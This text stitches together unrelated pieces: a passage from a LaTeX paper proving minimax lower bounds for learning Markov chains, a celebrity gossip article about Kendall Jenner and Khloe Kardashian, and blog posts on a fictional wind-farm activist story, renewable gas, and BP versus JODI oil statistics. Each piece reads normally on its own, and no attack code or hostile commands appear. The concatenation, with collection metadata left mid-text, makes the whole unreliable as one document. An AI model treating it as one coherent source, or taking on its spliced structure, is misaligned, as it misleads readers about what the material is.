Additional figures are provided in Section~\ref{sec:figs} in the Appendix.}
of this class of
Markov chains is provided in Figure~\ref{fig:contracting-mc-topology};
in particular,
every
$\mc\in\H_{\eta}$
consists of an ``inner clique''
(i.e., the states indexed by $\set{1,\ldots,d/3}$)
and ``outer rim''
(i.e., the states indexed by $\set{d/3+1,\ldots,d}$).
\begin{figure}[H]
\begin{center}
\begin{tikzpicture}[auto]
\small
\def \d {10}
\def \gap {10}
\def \radius {60pt}
\foreach \c in {1,...,\d}{
\pgfmathparse{(\c - 1) * 360 / \d + 90}
\node[draw,circle] (\c) at (\pgfmathresult: \radius) {};
\pgfmathsetmacro\angleleft{(\c - 1) * 360 / \d + 90 - \gap}
\pgfmathsetmacro\angleright{(\c - 1) * 360 / \d + 90 + \gap}
\pgfmathtruncatemacro\idleft{\d + \c}
\pgfmathtruncatemacro\idright{\d + \d + \c}
\node[draw,circle] (\idleft) at (\angleleft: 100pt) {};
\node[draw,circle] (\idright) at (\angleright: 100pt) {};
\draw[every loop]
(\c) edge[-, bend right, swap] node {} (\idleft)
(\c) edge[-, bend left] node {} (\idright)
(\idleft) edge[-,in=\angleleft,out=\angleright, loop] node {} (\idleft)
(\idright) edge[-,in=\angleleft,out=\angleright, loop] node {} (\idright)
(\c) edge[-,in=\angleleft,out=\angleright, loop] node {} (\c)
;
}
\foreach \c in {1,...,\d}{
\foreach \e in {\c,...,\d}{
\ifthenelse{\c = \e}{}{\draw[] (\c) edge[-] node {} (\e);}
}
}
\end{tikzpicture}
\end{center}
\caption{Generic topology of the $\H_{\eta}$ Markov chain class:
every chain consists of an ``inner clique'' and an ``outer rim''.}
\label{fig:contracting-mc-topology}
\end{figure}
Lemma~\ref{lemma:control-spectral-gap} in the Appendix
establishes a key property of
the elements of $\H_\eta$: each $\mc$ in this class satisfies
\beqn
\label{eq:control-spectral-gap}
\pssg(\mc)=\Theta(\eta).
\eeqn
Suppose that $\X=(X_1,\ldots, X_m) \sim(\mc_{\etab},\bpi)$,
where $\mc\in\H_{\eta}$ and $\bpi$ is uniform.
Define
the random variable $T\cliq=T\cliq(\mc)$,
to be the first time all of the states in the inner clique were visited,
\beqn
\label{eq:Tcliq}
T\cliq =
\inf\set{t\ge1:
\abs{\set{X_1,\ldots,X_t}\cap[d/3]}
=d/3},
\eeqn
Lemma~\ref{lemma:half-cover} in the Appendix
gives a lower estimate on this quantity:
\beqn
\label{eq:half-cover}
m \leq \frac{d}{20 \eta} \ln{\left( \frac{d}{3} \right)} &\implies \PR{\tall > m} \geq \frac{1}{5} .
\eeqn
Let $\M_{d,\pssg,\pimin}$
be the collection of all $d$-state Markov chains whose stationary distribution is minorized by
$\pimin$ and whose pseudo-spectral gap is at least $\pssg$.
Writing $\X = (X_1, \dots, X_m)$, recall that the quantity we wish to lower bound is the minimax risk for the learning problem
(it will be convenient to write $\eps/2$ instead of $\eps$, which only affects the constants):
\begin{equation}
\begin{split}
\mmrisk &= \inf_{\estmc} \sup_{\mc} \probm{\mc}{\TV{\mc - \estmc} > \frac{\eps}{2}},
\end{split}
\end{equation}
where the $\inf$ is taken over all
learners
and the $\sup$ over $\M_{d,\pssg,\pimin}$.
We employ the
general reduction scheme
of
\citet[Chapter~2.2]{tsybakov2009introduction}.
The first step is to restrict the $\sup$ to
the finite subset $\H_{\eta} \subsetneq \M_{d,\pssg,\pimin}$.
\begin{equation}
\begin{split}
\mmrisk &\geq \inf_{\estmc} \sup_{\btau} \probm{\mc_{\eta, \btau}}{\TV{\mc_{\eta, \btau} - \estmc} > \frac{\eps}{2}}
.
\end{split}
\end{equation}
Define
$\tall$
as in
(\ref{eq:Tcliq}).
Then
\begin{equation}
\begin{split}
\mmrisk &\geq \inf_{\estmc} \sup_{\btau} \probm{\mc_{\eta, \btau}}{\TV{\mc_{\eta, \btau} - \estmc} > \eps \gn \tall > m}
\probm{\mc_{\eta, \btau}}{\tall > m}
\end{split}
\end{equation}
and
Lemma~\ref{lemma:half-cover} implies that
for $m < \frac{d}{20 \eta} \ln{\left(\frac{d}{3}\right)}$,
\begin{equation}
\begin{split}
\mmrisk &\geq \frac{1}{5} \inf_{\estmc} \sup_{\btau}
\probm{\mc_{\eta, \btau}}{\TV{\mc_{\eta, \btau} - \estmc} > \eps \gn \tall > m}
.
\end{split}
\end{equation}
Observe that
all $\btau\neq\btau'\in
\set{0, 1}^{d/3}
$
verify
$\TV{\mc_{\eta, \btau} - \mc_{\eta, \btau'}} = \eps$.
For any
estimate
$\estmc=\estmc(\X)$,
define
$$\btau^\star(\X) = \argmin_{\btau} \TV{\estmc - \mc_{\eta, \btau}}.$$
Then for $\btau\neq\btau^\star(\X)$, we have
\begin{equation}
\begin{split}
\eps &= \TV{ \mc_{\eta, \btau} - \mc_{\eta, \btau^\star} } \leq \TV{\mc_{\eta, \btau} - \estmc } + \TV{\estmc - \mc_{\eta, \btau^\star}} \leq 2 \TV{\mc_{\eta, \btau} - \estmc },
\end{split}
\end{equation}
whence
$\set{ \btau^\star \neq \btau } \subset \set{ \TV{ \mc_{\eta, \btau} - \estmc } > \eps/2 }$
and
\begin{equation}
\begin{split}
\mmrisk &\geq
\frac{1}{5} \inf_{\estmc} \sup_{\btau} \probm{\mc_{\eta, \btau}}{ \btau^\star \neq \btau \gn \tall > m} =
\frac{1}{5} \inf_{
\estbtau: \X \mapsto \set{0, 1}^{d/3}
} \sup_{\btau}
\probm{\mc_{\eta, \btau}}{ \estbtau \neq \btau \gn \tall > m}
.
\end{split}
\end{equation}
Since $\tall>m$
implies that
$N_{i^\star}=0$ for some $i^\star \in [d/3]$,
\begin{equation}
\begin{split}
\mmrisk &\geq \frac{1}{5} \inf_{\estbtau} \sup_{\btau} \probm{\mc_{\eta, \btau}}
{ \esttau_{i^\star} \neq \tau_{i^\star} \gn N_{i^\star} = 0}.
\end{split}
\end{equation}
There are as many
$\mc\in\H_{\eta}$
with
$\tau_{i^\star} = 0$
as those with
$\tau_{i^\star} = 1$,
so if $\mc$ is drawn uniformly at random
and state $i^\star$ has not been visited,
the learner can do no better than to make a random choice of $\esttau_{i^\star}$
(where $\estbtau$ determines $\estmc$).
More formally,
writing
$\btau^{(i)}= (\tau_1, \dots, \tau_{i-1}, \tau_{i+1}, \dots, \tau_{d/3})
\in\set{0,1}^{d/3-1}
$,
the $\btau$ vector without its $i$th coordinate,
we can
employ an
Assouad-type of decomposition \citep{assouad1983deux, yu1997assouad}:
\begin{equation}
\begin{split}
\mmrisk &\geq \frac{1}{5} \inf_{\estbtau} 2^{1-d/3} \sum_{\btau^{(i)} \in \set{0, 1}^{d/3 - 1}} \bigg[ \frac{1}{2} \probm{\tau_i = 0}{ \esttau_i \neq \tau_i \gn N_i = 0}
+ \frac{1}{2} \probm{\tau_i = 1}{ \esttau_i \neq \tau_i \gn N_i = 0} \bigg] \\
&= \frac{2^{1-d/3}}{10} \sum_{\btau^{(i)} \in \set{0, 1}^{d/3 - 1}} \inf_{\estbtau} \left[ \probm{\tau_i = 0}{ \esttau_i = 1 \gn N_i = 0} +
\probm{\tau_i = 1}{ \esttau_i = 0 \gn N_i = 0} \right] \\
&= \frac{2^{1-d/3}}{10} \sum_{\btau^{(i)} \in \set{0, 1}^{d/3 - 1}} \left[ 1 - \tv{ \probm{\tau_i = 0}{ \X = \cdot \gn N_i = 0} + \probm{\tau_i = 1}{ \X = \cdot \gn N_i = 0} } \right] \\
&= \frac{1}{10}.
\end{split}
\end{equation}
Combined with
Lemma~\ref{lemma:control-spectral-gap},
and inclusion of events,
this implies lower bounds of
$\Omega \left( \frac{d}{\sg} \ln{d} \right)$ and $\Omega \left( \frac{d}{\pssg} \ln{d} \right)$
for the learning problem,
which are tight for the case
$\pimin = \frac{1}{d}$.
\end{proof}
\begin{remark}
\label{rem:HSK}
Let us compare construction $\H_\eta$ to the family of Markov chains
employed in the lower bound of \citet{hsu-mixing-ext}:
\begin{equation}
\begin{split}
\mc(i,j) =
\begin{cases}
1 - \eta_i,& i = j \\
\frac{\eta_i}{d-1},& \text{else}
\end{cases}
,
\end{split}
\end{equation}
where $\eta_i \in \{\eta, \eta'\}$ with $\eta' \approx \eta/2$.
For our lower bound, $\H'_\eta$ has to be a $\eps$-separated set under $\TV{\cdot}$.
In the construction of \citeauthor{hsu-mixing-ext}, the spectral gap $\sg$ and the separation distance $\eps$ are coupled,
and using their family of Markov chains would lead to a lower bound of order $d/\sg\approx d/\eps$,
which is inferior to
$\Omega\left(\frac{\sqrt{d}}{\eps^2 \pimin}\right)$.
The free parameter $\eta$ was
key to our
construction, which enabled us to decouple $\sg$ from $\eps$.
\end{remark}
\section*{Acknowledgments}
This research was supported by the Lynn and William Frankel Center for Computer Science at Ben-Gurion University and by the Israel Science Foundation. We are thankful to John Lafferty for bringing this problem to our attention and numerous insightful conversations. We also thank the anonymous reviewers for their valuable comments.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 7,884 |
Kendall Jenner Flaunts MAJOR Skin in Sultry Panty Set While Khloe Talks Plus-Size Embarrassment!
Fashion By TooFab Staff | 12/1/2016 8:50 AM PT
Check Out the Hottest Photos From Last Night's Victoria's Secret Show! Launch Gallery!
What was hotter than the actual Victoria's Secret event last night?
Perhaps Kendall Jenner's pre-show photo, taken by Russell James. Is it hot in here, or is it just the latest VS model to get her wings? We're pretty sure it's Jenner.
Kendall shared the snap on her Instagram account last night and captioned it, "Pre-show with @RussellJames." Short, sweet, simple, sultry. And while Kendall was busy living the dream, sis Khloe Kardashian was reliving her former nightmare of having to shop in the plus-size department.
In a recent panel talk with Fortune's Most Powerful Women Next Gen conference held in Laguna Niguel, California, this past Tuesday, KoKo revealed that she totally hated having to shop in the plus-size section of her favorite stores.
She said, "F--k [being called plus-size]. I don't want to be called that. I'm a woman with curves, and what I would say was average size at the time. "
"I was very proud of who I was," the youngest Kardashian remembered. "I felt so shamed at the time to go into boutiques and denim shopping. It was something that was super hard for me."
The "Keeping Up With the Kardashians" favorite continued and claimed that she didn't even think she was heavy at the time.
"When I was bigger, you couldn't tell me I was big. I still don't think I was big. I was like, 'I am sexy and hot ... I want to be in a bodycon dress and a pair of jeans."
That's the ticket, Khloe!
She wasn't done there, though!
"It would always make me feel super embarrassed to go shopping with my sisters, who are petite," Khloe revealed. "And that's why Good American is so inclusive."
"I always kind of remember the chubby girl in me," Khloe explained, "and I'm fighting for my old chubby self."
Fight for all of us Khloe, champion of "KUWTK" and all the curvy ladies!
Go ahead and check out some super hot shots of last night's VS show in the gallery above -- these pics are sweet.
#2016VictoriasSecretFashionShow #Fashion #KendallJenner #KhloeKardashian #PlusSize | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 5,875 |
package net.gcdc.uppertester;
public class Initialize {
byte messageType = 0x00;
long hashedId8;
@Override public String toString() {
return "Initialize [messageType=" + messageType + ", hashedId8=" + hashedId8 + "]";
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 1,156 |
Q: Read port number from user I state that I am a beginner with C.
I'm writing a server in C, my code is as follows:
int main(int argc, char **argv)
{
ds_socket = socket(AF_INET,SOCK_STREAM,0);
if(ds_socket == -1)
errore_exit("creation socket");
struct sockaddr_in server;
struct sockaddr client;
//set sockadrr_in
server.sin_family = AF_INET;
server.sin_port = htons(9999);
server.sin_addr.s_addr = INADDR_ANY;
//binding
if(bind(ds_socket, &server,sizeof(server)) == -1)
errore_exit("binding");
if(listen(ds_socket,1000) == -1)
errore_exit("listen");
client_socket = accept(ds_socket,&client,&(sizeof(client)));
if(client_socket == -1)
errore_exit("accept");
}
In setting the structure server, I spent a number of any port (9999), but I would like to implement it in this way: server ask the port number to the user before assigning an address to the socket using the bind. The user enters the number of port Keyboard and the server saves within a variable "port" which is then passed into the setting of the structure.
I can not do that last part just described: someone could help me?
A: Use scanf to read user input
int var;
scanf("%d", &var);
Now var contains an integer that the user typed in.
You'll notice that the format specifier is very similar to printf(http://www.cplusplus.com/reference/cstdio/printf/).
scanf returns the amount of values it read successfully. So to make sure user enters a number, check that scanf returns 1.
A problem with scanf, is that it leaves a trailing newline in stdin. So, you'll need to flush it:
void flush()
{
int c;
while ((c = getchar()) != '\n')
;
}
This consumes all the characters until a newline is seen. Dont use fflush(stdin) to flush though.
Read about scanf in K&R (page 128, section 7.4): http://www.iups.org/media/meeting_minutes/C.pdf
A full scanf example:
int main()
{
int age;
printf("What is your age?");
if (scanf("%d", &age) > 0)
printf("You are %d yrs old", age);
else
fprintf(stderr, "Numbers only!");
flush(); /* use the flush function shown above*/
return 0;
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 9,853 |
<?php
namespace Superbalist\Money\Linter\Tests;
class GreaterThanOperatorTest extends ContainsSimpleTokenTest
{
/**
* @return string
*/
protected function getToken()
{
return '>';
}
/**
* @return string
*/
public function getDescription()
{
return 'The line contains a greater than (>) operator.';
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 5,259 |
Category: Engineering Marvel
Academic Freedom Advertise Freely Alchemical Artistic Licence Bait & Switch Be Prepared Big Society Bioeffigy Biofools Carbon Commodities Carbon Recycling Change Management Climate Change Climate Chaos Climate Damages Corporate Pressure Delay and Deny Delay and Distract Demoticratica Direction of Travel Divest and Survive Divide & Rule Emissions Impossible Energy Autonomy Energy Change Energy Crunch Energy Insecurity Energy Revival Engineering Marvel Evil Opposition Extreme Energy Fossilised Fuels Freshwater Stress Gamechanger Gas Storage Global Warming Green Gas Green Investment Green Power Health Impacts Human Nurture Hydrocarbon Hegemony Incalculable Disaster Low Carbon Life Major Shift Methane Management Modern Myths Money Sings National Energy National Power Natural Gas Near-Natural Disaster Neverending Disaster Nudge & Budge Oil Change Paradigm Shapeshifter Peak Coal Peak Emissions Peak Energy Peak Natural Gas Peak Oil Petrolheads Policy Warfare Political Nightmare Protest & Survive Public Relations Pure Hollywood Regulatory Ultimatum Renewable Gas Renewable Resource Resource Wards Science Rules Shale Game Social Capital Social Democracy Stirring Stuff Sustainable Deferment Tarred Sands Technofix The Power of Intention The Right Chemistry Toxic Hazard Transport of Delight Tree Family Unconventional Foul Ungreen Development Wind of Fortune Zero Net
Jumping off Mount Gideon
No Comments on Jumping off Mount Gideon
[Friends, I have suffered a little writer's block, so I resolved to spark some creativity in myself by joining a little local writers group. The leader of the group suggested a title, I Googled the allegedly fictional location and found it existed, and that it was near a wind farm; and Google Maps led me to the rest of my research and inspiration for this piece. Caveat Lector : it's fictional, even though a lot of it is factual. Also, it's only a draft, but it needs to settle for a while before I can refine/sift it. ]
Jumping Off Mount Gideon [1]
by Jo Abbess
In the blue-green sun-kissed uplands, west of the sediment-spewing Chocolate River sprung at Petitcodiac village, and north of the shrunken Shepody Lake, its feeder tributaries re-engineered hundreds of years ago; north still of the shale flats jutting out into the Bay of Fundy, rises Mount Gideon, shrouded in managed native Canadian spruce, pine and fir. Part of the ranging, half-a-billion-year-old craton of the Caledonian Highlands of New Brunswick, it is solid ground, and its first European inhabitants must have been hardy. Looking up, the early settlers must have seen the once-bare hinterland looming over the mudstone and sandstone shoreline, with its steep gullied waterways carved by the receding pre-historic icesheets, and it must have been redolent of the mountainous "encampments of the just" [2] where the Biblical Gideon of the Book of Judges [3] trained his elite crack troops and plotted his revenge against the hordes of ravaging Midianites. The fur-trappers and gravel miners on the eve of the 18th Century built a community by the bay, and drove a winding road up through Mount Gideon's ravines and over its heights, a byway long since eroded and erased and replaced by a functional forestry access track. Ethnic cleansing of the first-come Acadians in the summer of 1755 destroyed much of the larger settlements in the region of Chipoudy, henceforth anglicised to Shepody. Two groups of deportation vigilantes, originally tasked with taking prisoners, burned down the infrastructure and put to death those who hadn't fled to the woods, and since that day, nobody really lives up on the mount, aside from the occasional lumberjack in his trailer home cached off New Ireland Road, and the odd temporary bivouac of touring hippy couples, en route from Hopewell Rocks to Laverty Falls on the Moosehorn Trail in the national park, via the Caledonia Gorge and Black Hole on the Upper Salmon River. These days there is no risk of social crisis, but an insidious slow-moving environmental crisis is underway. Streams falling from Mount Gideon, spider lines scratched on early parish maps, the West River and Beaver Brook, no longer flow year-round, and there's very little freshwater locally, apart from a few scattered tarns, cradled in the impervious igneous, plutonic rock of the hinterland. Rainwater does support the timber plantations, for now, but drought and beetle are a rising threat, brought on by creeping climate change. Humans may no longer be setting fires, but Nature is, because human beings have interfered with the order of things.
Mount Gideon isn't really a proper peak : from its summit it's clear it's only a local undulation like other protruding spine bones in the broad back of the hills. Its cap sprouts industrial woodland, planted in regular patterns visible from space, reached by gravel-bordered runnelled dirt track. The former ancient water courses that fall away sharply from the highest point on the weald are filled with perilously-rooted trees, leaning haphazardly out from the precipitous banks of the ravines. The plantations and roadside thickets obscure the view of Chignecto Bay and the strong-tided Minas Passage, where the tidal turbine energy project is still being developed. With no coastal horizon, this could be hundreds of kilometres from anywhere, in the centre of an endless Avalonian Terrane. A silvicultural and latterly agroforestry economy that grew from the wealth of wood eventually developed a dependence on fossil fuels, but what thin coal seams locally have long been exhausted, and the metamorphic mass underfoot salts no petroleum oil or gas beneath. Tanker ship and truck brought energy for tractor and homestead for decades, but seeing little future in the black stuff, local sparsely-populated Crown Land was designated for renewable energy. Just to the north of Mount Gideon lie the Kent Hills, a scene of contention and social protest when the wind farm was originally proposed. For some, wind turbines would mechanise the landscape, cause frequency vibration sickness, spark forest fires from glinting blades, induce mass migraine from flickering sweeps of metal. Windmills were seen as monsters, but sense prevailed, through the normal processes of local democracy and municipal authority, and even a wind farm expansion came about. It is true that engineering giants have cornered the market in the first development sweep of wind power – those hoping for small-scale, locally-owned new energy solutions to the carbon crisis have had to relent and accept that only big players have the economic power to kickstart new technologies at scale. There are some who suspect that the anti-turbine groups were sponsored secretly by the very firms who wanted to capitalise on the ensuing vacuum in local energy supply; and that this revolt went too far. There was speculation about sabotage when one of the wind turbine nacelles caught fire a while back and became a sneering viral internet sensation. When the shale gas 1970s extraction technology revival circus came to Nova Scotia, the wind power companies were thought to have been involved in the large protest campaign that resulted in a New Brunswick moratorium on hydraulic fracturing in the coastal lowlands. The geology was anyways largely against an expansion in meaningful fossil fuel mining in the area, and the central Precarboniferous massif would have held no gas of any kind, so this was an easily-won regulation, especially considering the risks to the Chignecto Bay fisheries from mining pollution.
TransAlta, they of "Clean Power, Today and Tomorrow", sensed an prime moment for expansion. They had already forged useful alliances with the local logging companies during the development of Kent Hills Wind Farm, and so they knew that planning issues could be overcome. However, they wanted to appease the remnant of anti-technologists, so they devised a creative social engagement plan. They invited energy and climate change activists from all over Nova Scotia, Newfoundland, and the rest of Quebec to organise a pro-wind power camp and festival on the top of Mount Gideon. The idea was to celebrate wind power in a creative and co-operative way. The Crown Land was clearcut of trees as the first stage of the wind farm expansion, so the location was ideal. To enable the festival to function, water was piped to the summit, teepees and yurts were erected, and a local food delivery firm was hired to supply. The ambition of the cultural committee was to create an open, welcoming space with plenty of local colour and entertainment, inviting visitors and the media to review plans for the new wind farm. The festival was an international Twitter success, and attracted many North American, European and even Australasian revellers, although a small anarchist group from the French national territory in St Pierre et Miquelon created a bit of a diplomatic incident by accidentally setting fire to some overhanging trees in a ravine during a hash-smoking party.
Unbeknownst to the festival committee, a small and dedicated group of activists used the cover of the camp to plan a Gideon-style resistance to the Energy East pipeline plan. TransCanada wanted to bring heavy tar sands oil, blended with American light petroleum condensate, east from Alberta. The recent history of onshore oil pipelines and rail consignments was not encouraging – major spills had already taken place – and several disastrous accidents, such as the derailment and fireball at Plaster Rock, where the freight was routed by track to Irving Refinery. The original Energy East plan was to bring oil to the Irving Oil Canaport facility at Saint John, but a proposal had been made to extend the pipeline to the Atlantic coast. The new route would have to either make its circuitous way through Moncton, or cross under the Bay of Fundy, in order to be routed to Canso on the eastern side of Nova Scotia. The Energy East pipeline was already being criticised because of its planned route near important waterways and sensitive ecological sites. And the activist group had discovered that TransCanada had contracted a site evaluation at Cape Enrage on the western shore of the bay. Land jutted out into the water from here, making it the shortest crossing point to Nova Scotia. To route a pipeline here would mean it would have to cross Fundy National Park, sensitive fish and bird wading areas on the marshes and mudflats of the Waterside and Little Ridge, and cross over into the Raven Head Wilderness Area.
Gideon's campaign had succeeded because of three things. His army had been whittled down to a compact, focused, elite force; they had used the element of surprise, and they had used the power of the enemy against itself. The activist group decided on a high level of secrecy about their alliance, but part of their plan was very public. They were divided into three groups : the Wasps, the Eagles and the Hawks. The Wasps would be the hidden force. They would construct and test drones, jumping off Mount Gideon, and flown out at night down the old river gullies, their route hidden by the topography, to spy on the TransCanada surface works. The plan was that when they had had enough practice the team would be ready to do this on a regular basis in future. If TransCanada did start building a pipeline here, the Wasps would be able to come back periodically and transport mudballs by drone to drop in the area. These squidgy payloads of dirt would contain special cultures of bacteria, including methanogens, that produce methane and other volatile chemicals. The environmental monitoring teams at the site would pick up spikes in hydrocarbon emissions, and this would inevitably bring into question the integrity of the pipeline. The Eagles would start a nationwide campaign for legal assistance, asking for lawyers to work pro bono to countermand the Energy East pipeline route, deploying the most recent scientific research on the fossil fuel industry, and all the factors that compromise oil and gas infrastructure. The Hawks would develop relationships with major energy investors, such as pension funds and insurance firms, and use public relations to highlight the risks of fossil fuel energy development, given the risks of climate change and the geological depletion of high quality resources. Nobody should be mining tar sands – the dirtiest form of energy ever devised. If TransCanada wanted to pipeline poisonous, toxic, air-damaging, climate-changing gloop all across the pristine biomes of precious Canada, the Mount Gideon teams were going to resist it in every way possible.
What the Mount Gideon teams did not know, but we know now, was that some of the activists at the camp were actually employees of the New Brunswick dynasties Irving and McCain. These families and their firms had saved the post-Confederation economy of the Maritime Provinces in the 20th Century, through vertical integration. Internally, within the Irving conglomerate, many recognised that fossil fuels had a limited future, even though some of the firms were part of the tar sands oil pipeline project. They were intending to take full advantage of the suspension of the light oil export ban from the United States for the purpose of liquefying Canadian heavy oils to make a more acceptable consumer product, as well as being something that could actually flow through pipes. They had held secret negotiations between their forestry units and the McCain family farming businesses. Research done for the companies had revealed that synthetic, carbon-neutral gas could be made from wood, grains and grasses, and that this would appeal to potential investors more than tar sands projects. They realised that if the Energy East project failed, they could step in to fill the gap in the energy market with their own brand of biomass-sourced renewables. They calculated that the potential for Renewable Gas was an order of magnitude larger than that of wind power, so they stood to profit as low carbon energy gained in popularity. Once again, in energy, big business intended to succeed, but they needed to do so in a way that was not confrontational. What better than to have a bunch of activists direct attention away from carbon-heavy environmentally-damaging energy to allow your clean, green, lean solutions to emerge victorious and virtuous ?
[1] This is a fictional, marginally futuristic account, but contains a number of factual, current accuracies.
[2] Bible, Psalm 34
[3] Bible, Judges 6-8
Academic Freedom Alchemical Assets not Liabilities Baseload is History British Biogas Change Management Climate Change Cost Effective Design Matters Direction of Travel Energy Autonomy Energy Change Energy Revival Engineering Marvel Gas Storage Green Gas Growth Paradigm Hide the Incline Low Carbon Life Major Shift Natural Gas Optimistic Generation Paradigm Shapeshifter Renewable Gas Solar Sunrise Solution City The Price of Gas The Right Chemistry Unnatural Gas Wasted Resource Wind of Fortune Zero Net
The Delta, The Ramp, The Stretch and The Duck #1
No Comments on The Delta, The Ramp, The Stretch and The Duck #1
I gave a guest lecture at Birkbeck College, of the University of London on the evening of 22nd February 2017 in the evening, as part of the Energy and Climate Change module. I titled it, "Renewable Gas for Energy Storage : Scaling up the 'Gas Battery' to balance Wind and Solar Power and provide Low Carbon Heat and Transport".
The basic concept is that since wind and solar power are variable in output, there has to be some support from other energy technologies. Some talk of batteries to store electrical energy as a chemical potential, and when they talk of batteries they think of large Lithium ion piles, or flow batteries, or other forms of liquid electrolyte with cathodes and anodes. When I talk about batteries, I think of electrical energy stored in the form of a gas. This gas battery doesn't need expensive metal cathodes or anodes, and it doesn't need an acid liquid electrolyte to operate. Gas that is synthesised from excess solar or wind power can be a fuel that can be used in chemical reactions, such as combustion, or burning, to generate electricity and heat when desired at some point in the future. It could be burned in a gas turbine, a gas boiler or a fuel cell, or in a vehicle engine. Or instead, a chemically inert gas can be stored under pressure, and this compressed gas can also be used to generate power on demand at a later date by harnessing energy from decompression. Another option would be holding a chemically reactive gas under pressure, allowing two stages of energy recovery.
As expected, the Birkbeck audience was very diverse, and had different social and educational backgrounds, and so there was little that could be assumed as common knowledge, especially since the topic was energy, which is normally only an interest for engineers, or at a stretch, economists.
I decided when preparing that I would attempt to use symbolism as a tool to build a narrative in the presentation. A bold move, perhaps, but I found it created an emblematic thread that ran through the slides quite nicely, and helped me tell the story. I used Mathematical and Physical notation, but I didn't do any Mathematics or Physics.
I introduced the first concept : the Delta, or change. I explained this delta was not the same as a river delta, which gave me the excuse to show a fabulous night sky image of the Nile Delta taken from the International Space Station. I demonstrated the triangle shape that emerges from charting data that changes over time, and calculating its gradient, such as the temperature of the Earth's surface.
I explained that the change in temperature of the Earth's surface over the recent decades is an important metric to consider, not just in terms of scale, but in terms of speed. I showed that this rate of change appears in all the independent data sets.
I then went on to explain that the overall trend in the change in the temperature of the Earth's surface is not the only phenomenon. Within regions, and within years and seasons, even between months and days, there are smaller scale changes that may not look like the overall delta. A lot of these changes give the appearance of cyclic phenomena, and they can have a periodicity of up to several decades, for example, "oscillations" in the oceans.
These discrete deltas and cycles could, to a casual observer, mask underlying trends, especially as the deltas can be larger than the trends; so climatologists look at a large set of measurements of all kinds, and have shown that some deltas are one way only, and are not cycling.
Teasing out the trends in all of the observations is a major enterprise that has been accomplished by thousands of scientists who have reported to the IPCC, the Intergovernmental Panel on Climate Change, part of the UNFCCC, the United Nations Framework Convention on Climate Change. The Fifth Assessment Report is the most comprehensive yet, and shows that global warming is almost certainly ramping up – in other words, global warming is getting faster, or accelerating.
Many projections for the future of temperature changes at the Earth's surface have been done, with the overall view that temperatures are likely to carry on rising for hundreds of years without an aggressive approach to curtail net greenhouse gas emissions to the atmosphere – principally carbon dioxide (CO2), methane (CH4) and nitrous oxide (N2O).
From observations, it is clear that global warming causes climate change, and that the rate of temperature change is linked to the rate of climate change. In symbols, this reads : delta T for temperature over t for time leads to, or implies, a delta C for climate over t for time. The fact that global warming and its consequential climate change are able to continue worsening under the current emissions profile means that climate change is going to affect humanity for a long stretch. It also means that efforts to rein in emissions will also need to extend over time.
I finished this first section of my presentation by showing a list of what I call "Solution Principles" :-
1. Delays embed and extend the problem, making it harder to solve. So don't delay.
2. Solve the problem at least as fast as creating it.
3. For maximum efficiency, minimum cost, and maximum speed, re-deploy agents of the problem in its solution.
In other words, make use of the existing energy, transport, agriculture, construction and chemical industries in approaching answers to the imperative to address global warming and climate change.
Academic Freedom Advancing Africa Alchemical Big Number Big Picture Carbon Commodities Change Management Corporate Pressure Energy Calculation Energy Insecurity Engineering Marvel Fossilised Fuels Hydrocarbon Hegemony National Energy Natural Gas No Blood For Oil Oil Change Peak Natural Gas Peak Oil Petrolheads Realistic Models Resource Curse Resource Wards The Data The Price of Gas The Price of Oil The Right Chemistry The War on Error Unnatural Gas Western Hedge
JODI Oil and BP #4
No Comments on JODI Oil and BP #4
In my seemingly futile and interminable quest to reconcile the differences between the data provided by the JODI Oil organisation and BP as revealed in part by the annual BP Statistical Review of World Energy, I have moved on to looking at production (primary supply), found a problem as regards Africa, and had some confirmation that a major adjustment in how the data is collected happened in 2009.
First – the problem with Africa. The basket "Other Africa" for oil production is far less in the BP data than it is in the JODI Oil data – shown by negative figures in the comparison. For 2015, this is approximately 65% in scale (-3800 KBD) of the summed positive difference between the BP and JODI figures for the named countries (5884 KBD). This reminds me that there was a problem with the refined oil product consumption figures for "Other Africa" as well. Without a detailed breakdown of individual country accounts from BP it is almost impossible to know where these differences arise, it seems to me, or begin to understand why these differences are so large. Maybe I should just ask BP for a full country breakdown – if they'd ever deign to communicate this kind of information with me. Standing by my email Inbox right now… Could be here some time…
It is fairly clear from the comparison for North America that a major shift in understanding by either BP or JODI Oil took place in 2009, as the oil production data converge significantly for that year onwards. There was similar evidence of this in the refined oil products consumption data.
As with the consumption data, the production data for the Middle East region is strongly divergent between BP and JODI. I did read something potentially useful in the JODI Oil Manual, which I would recommend everyone interested in energy data to read. In the notes for Crude Oil, I read : "One critical issue is whether the volumes of NGL, lease or field condensates and oils extracted from bituminous minerals are included. All organisations exclude NGL from crude oil. If condensates are able to be excluded, it should be noted to the JODI organisation(s) of which the country/economy is a member. Most OPEC member countries exclude condensates." Now, I guess, the struggle will be to find some data on condensates. Of which there are a variety of sources and nomenclature, be they light liquid hydrocarbons from oil and gas production or oil and gas refining/processing/cryoprocessing. There may be faultlines of comprehension and categorisation, such as about who considers NGPL or Natural Gas Plant Liquids from Natural Gas processing plants to be in the category of NGLs – Natural Gas Liquids, and therefore effectively in the bucket of Crude Oil.
I'm no closer to any answers on why BP oil data doesn't align with JODI Oil data. And it looks like I've just opened a whole can of condensate wormy questions.
Academic Freedom Be Prepared Big Number Big Picture Change Management Climate Change Climate Chaos Climate Damages Corporate Pressure Cost Effective Delay and Deny Disturbing Trends Dreamworld Economics Economic Implosion Energy Crunch Energy Insecurity Engineering Marvel Extreme Energy Extreme Weather Firestorm Forestkillers Fossilised Fuels Global Heating Global Singeing Global Warming Growth Paradigm Heatwave Hydrocarbon Hegemony Incalculable Disaster Natural Gas Near-Natural Disaster Oil Change Paradigm Shapeshifter Peak Energy Peak Natural Gas Peak Oil Petrolheads Price Control Realistic Models Resource Curse Resource Wards Shale Game Sustainable Deferment Tarred Sands Technological Fallacy Technomess The Myth of Innovation The Price of Gas The Price of Oil Toxic Hazard Unconventional Foul Unnatural Gas Wildfire
Peak Oil Redux
No Comments on Peak Oil Redux
Peak conventional crude petroleum oil production is apparently here already – the only thing that's been growing global total liquids is North American unconventional oils : tight oil – which includes shale oil in the United States of America – and tar sands oil from bitumen in Canada – either refined into synthetic crude, or blended with other oils – both heavy and light.
